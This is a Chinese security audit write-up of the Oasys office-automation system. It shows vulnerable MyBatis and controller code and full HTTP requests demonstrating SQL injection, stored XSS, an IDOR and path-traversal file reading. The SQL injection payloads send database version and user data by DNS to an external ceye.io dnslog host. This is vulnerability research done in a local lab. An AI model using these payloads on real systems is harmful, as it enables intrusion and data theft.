Oasys代码审计

Oasys代码审计

Gat1ta 122 2022-08-10

前言

oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。,源码可以访问链接下载:https://gitee.com/aaluoxiang/oa_system?_from=gitee_search 或者gitee搜索oasys自行下载。
审计过程采用白加黑方式,主要通过黑盒测试白盒确认。

环境搭建

环境搭建没有什么特别的,数据库创建oasys的数据库后导入oasys.sql,然后在application.properties文件中配置数据库地址就可以了。
配置文件中的Windows path需要根据自己系统环境调整,不然上传文件时会出错。

漏洞挖掘

SQL注入(通知列表)

首先拿到代码后看一下依赖,发现项目中使用了mybatis,然后找到映射文件看一下有没有用${}的:

	<select id="sortMyNotice" resultType="java.util.Map">
		SELECT n.*,u.* FROM
		aoa_notice_list AS n LEFT JOIN aoa_notice_user_relation AS u ON
		n.notice_id=u.relatin_notice_id WHERE u.relatin_user_id=#{userId} 
		<if test="baseKey !=null">
			and n.title LIKE '%${baseKey}%'
		</if>
		ORDER BY
		<choose>
			<when test="type ==1">
				n.type_id DESC
			</when>
			<when test="type ==0">
				n.type_id ASC
			</when>
			<when test="status ==1">
					n.status_id DESC
			</when>
			<when test="status ==0">
					n.status_id ASC
			</when>
			<when test="time ==1">
					n.modify_time DESC
			</when>
			<when test="time ==0">
					n.modify_time ASC
			</when>
			<otherwise>
				n.is_top DESC,u.is_read ASC ,n.modify_time DESC
			</otherwise>
		</choose>
	</select>

可以看到,果然有接口使用了${}字符串拼接。
接下来在控制器中搜索一下看哪个控制器使用了该接口,最终在通知列表处找到一次使用:

@RequestMapping("informlistpaging")
	public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
			@RequestParam(value = "baseKey", required = false) String baseKey, 
			@RequestParam(value="type",required=false) Integer type,
			@RequestParam(value="status",required=false) Integer status,
			@RequestParam(value="time",required=false) Integer time,
			@RequestParam(value="icon",required=false) String icon,
			@SessionAttribute("userId") Long userId,
			Model model,HttpServletRequest req){
		System.out.println("baseKey:"+baseKey);
		System.out.println("page:"+page);
		setSomething(baseKey, type, status, time, icon, model);
		PageHelper.startPage(page, 10);
		List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
		PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
		List<Map<String, Object>> list2=informRelationService.setList(list);
		for (Map<String, Object> map : list2) {
			System.out.println(map);
		}
		model.addAttribute("url", "informlistpaging");
		model.addAttribute("list", list2);
		model.addAttribute("page", pageinfo);
	return "inform/informlistpaging";

}

接下来就是构造请求测试了,最终请求如下:

POST /informlistpaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=E1CAE199E0792413332653B46083EE6C
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

baseKey=1'+and+updatexml(1,concat(1,load_file(concat('\\\\',(select+version()),'.km0q00.ceye.io\\abc'))),3)+and+'1'='1

因为该接口不会将报错回显到前端,所以这里使用dnslog进行测试。发送上面请求后在dnslog服务器可以看到:
image-1660187738943

SQL注入(通讯录)

这个注入和上面一样,同样因为使用${}进行字符串拼接。
映射文件如下:

<select id="allDirector" resultType="java.util.Map">
		SELECT d.*,u.*
		FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON 
		d.director_id = u.director_id
		WHERE u.user_id=#{userId} AND u.director_id is NOT null AND u.is_handle=1
		<if test="pinyin !='ALL'">
			AND d.pinyin LIKE '${pinyin}%'
		</if>
		<if test="outtype !=null and outtype !=''">
			 AND u.catelog_name = '${outtype}'
		</if>
		<if test="baseKey !=null and baseKey !=''">
		AND
		(d.user_name LIKE '%${baseKey}%' 
		OR d.phone_number LIKE '%${baseKey}%' 
		OR d.companyname LIKE '%${baseKey}%'
		OR d.pinyin LIKE '${baseKey}%'
		OR u.catelog_name LIKE '%${baseKey}%'
		)
		</if>
		order by u.catelog_name
	 </select>

控制器代码如下:

@RequestMapping("outaddresspaging")
	public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,
			@RequestParam(value="baseKey",required=false) String baseKey,
			@RequestParam(value="outtype",required=false) String outtype,
			@RequestParam(value="alph",defaultValue="ALL") String alph,
			@SessionAttribute("userId") Long userId
			){
		PageHelper.startPage(page, 10);
		List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
		List<Map<String, Object>> adds=addressService.fengzhaung(directors);
		PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);
		if(!StringUtils.isEmpty(outtype)){
			model.addAttribute("outtype", outtype);
		}	
		Pageable pa=new PageRequest(0, 10);
		
		Page<User> userspage=uDao.findAll(pa);
		List<User> users=userspage.getContent();
		model.addAttribute("modalurl", "modalpaging");
		model.addAttribute("modalpage", userspage);
		model.addAttribute("users", users);
		model.addAttribute("userId", userId);
		model.addAttribute("baseKey", baseKey);
		model.addAttribute("directors", adds);
		model.addAttribute("page", pageinfo);
		model.addAttribute("url", "outaddresspaging");
		return "address/outaddrss";
	}

构造请求如下:

POST /outaddresspaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://127.0.0.1:8088
Connection: close
Referer: http://127.0.0.1:8088/addrmanage
Cookie: JSESSIONID=E1CAE199E0792413332653B46083EE6C
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

alph=1'+and+updatexml(1,concat(1,load_file(concat('\\\\',(select+hex(user())),'.km0q00.ceye.io\\abc'))),3)+and+'1'='1

接下来在dnslog服务器看回显:
image-1660187986771

存储XSS(部门管理)

漏洞位于部门管理->添加部门处:
image
在各个字段输入正常数据后添加,抓包修改。因为直接输入payload前端会有检测。
请求包解码后如下:

POST /deptedit HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 509
Origin: http://127.0.0.1:8088
Connection: close
Referer: http://127.0.0.1:8088/deptedit
Cookie: JSESSIONID=EBC3C3E0FBD0F25F4160EEC34E9160BF
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

xg=add&deptName=<img src='x' onerror=alert(1)>&deptTel=<img src='x' onerror=alert(2)>&deptFax=<img src='x' onerror=alert(3)>&email=<img src='x' onerror=alert(4)>&deptAddr=<img src='x' onerror=alert(5)>&deptId=

放行数据包后刷新页面会看到多次弹窗,说明上面几个字段均没有XSS过滤。接下来查看一下代码:

	@RequestMapping(value = "deptedit" ,method = RequestMethod.POST)
	public String adddept(@Valid Dept dept,@RequestParam("xg") String xg,BindingResult br,Model model){
		System.out.println(br.hasErrors());
		System.out.println(br.getFieldError());
		if(!br.hasErrors()){
			System.out.println("没有错误");
			Dept adddept = deptdao.save(dept);
			if("add".equals(xg)){
				System.out.println("新增拉");
				Position jinli = new Position();
				jinli.setDeptid(adddept.getDeptId());
				jinli.setName("经理");
				Position wenyuan = new Position();
				wenyuan.setDeptid(adddept.getDeptId());
				wenyuan.setName("文员");
				pdao.save(jinli);
				pdao.save(wenyuan);
			}
			if(adddept!=null){
				System.out.println("插入成功");
				model.addAttribute("success",1);
				return "/deptmanage";
			}
		}
		System.out.println("有错误");
		model.addAttribute("errormess","错误!~");
		return "user/deptedit";
	}

可以看到没有进行任何过滤直接调用deptdao.save将数据存入数据库。

存储XSS(用户管理)

用户管理->编辑用户处存在存储XSS。

image-1660099876483
这里用真实姓名字段举例,保存后刷新页面可以看到弹窗,说明存在XSS。
查看代码:

	@RequestMapping(value="useredit",method = RequestMethod.POST)
	public String usereditpost(User user,
			@RequestParam("deptid") Long deptid,
			@RequestParam("positionid") Long positionid,
			@RequestParam("roleid") Long roleid,
			@RequestParam(value = "isbackpassword",required=false) boolean isbackpassword,
			Model model) throws PinyinException {
		System.out.println(user);
		System.out.println(deptid);
		System.out.println(positionid);
		System.out.println(roleid);
		Dept dept = ddao.findOne(deptid);
		Position position = pdao.findOne(positionid);
		Role role = rdao.findOne(roleid);
		if(user.getUserId()==null){
			String pinyin=PinyinHelper.convertToPinyinString(user.getUserName(), "", PinyinFormat.WITHOUT_TONE);
			user.setPinyin(pinyin);
			user.setPassword("123456");
			user.setDept(dept);
			user.setRole(role);
			user.setPosition(position);
			user.setFatherId(dept.getDeptmanager());
			udao.save(user);
		}else{
			User user2 = udao.findOne(user.getUserId());
			user2.setUserTel(user.getUserTel());
			user2.setRealName(user.getRealName());
			user2.setEamil(user.getEamil());
			user2.setAddress(user.getAddress());
			user2.setUserEdu(user.getUserEdu());
			user2.setSchool(user.getSchool());
			user2.setIdCard(user.getIdCard());
			user2.setBank(user.getBank());
			user2.setThemeSkin(user.getThemeSkin());
			user2.setSalary(user.getSalary());
			user2.setFatherId(dept.getDeptmanager());
			if(isbackpassword){
				user2.setPassword("123456");
			}
			user2.setDept(dept);
			user2.setRole(role);
			user2.setPosition(position);
			udao.save(user2);
		}
		
		model.addAttribute("success",1);
		return "/usermanage";
	}

可以看到同样没有任何过滤就直接存入数据库。
这说明XSS全站存在多处,其他的就不列举了。

越权

漏洞位于流程管理->我的申请->查看流程处:
image-1660111924798

看一下请求包:

GET /particular?id=31&typename=费用报销 HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8088/flowmanage
Cookie: JSESSIONID=D79721DA94625A3A1B120C3D839F0E1E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

可以看到URL中有个id参数,猜测该参数为流程id标识,看一下后端代码:

		User user=udao.findOne(userId);//审核人或者申请人
		User audit=null;//最终审核人
		String id=req.getParameter("id");
		Long proid=Long.parseLong(id);
		String typename=req.getParameter("typename");//类型名称
		String name=null;
		
		Map<String, Object> map=new HashMap<>();
		ProcessList process=prodao.findOne(proid);//查看该条申请
		Boolean flag=process.getUserId().getUserId().equals(userId);//判断是申请人还是审核人
		
		if(!flag){
			name="审核";
		}else{
			name="申请";
		}

这里只放上部分关键代码,可以看到首先获取了当前用户对象,然后根据URL中的ID参数获取了流程对象,并且对比userID判断是申请人还是审批人。可以看出并没有对其他用户越权访问进行处理。

使用另外一个低权限账号登录系统,首先查看流程列表:
image-1660112680969
可以看到没有任何流程,接下来使用该用户cookie来调用查看流程的接口来枚举流程:
image-1660112768207
可以看到枚举出很多流程,证明越权确实存在。

任意文件读取

文章发出后,浮萍大佬看了说这个CMS还有个任意文件读取。自己太菜了,又漏洞了。。。
漏洞文件位于:src/main/java/cn/gson/oasys/controller/user/UserpanelController.java
src/main/java/cn/gson/oasys/controller/process/ProcedureController.java
两个文件都存在该漏洞,原理一致,这里拿第一个来说明。
在该控制器的image方法,存在任意文件读取漏洞,代码如下:

	@RequestMapping("image/**")
	public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
			throws Exception {
		String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
		System.out.println(projectPath);
		String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
		
		String path = startpath.replace("/image", "");
		
		File f = new File(rootpath, path);
		
		ServletOutputStream sos = response.getOutputStream();
		FileInputStream input = new FileInputStream(f.getPath());
		byte[] data = new byte[(int) f.length()];
		IOUtils.readFully(input, data);
		// 将文件流输出到浏览器
		IOUtils.write(data, sos);
		input.close();
		sos.close();
	}

可以看到代码中首先通过getRequestURI方法当前访问的相对路径,然后将该路径中的iamge替换为空。接下来与rootpath拼接然后通过File打开文件后返回前端。

通过替换”/image”的操作,我们可以构造…/来造成目录穿越从而进行任意文件读取,BP请求如下:
image-1660791829192

总结

心细挖一切。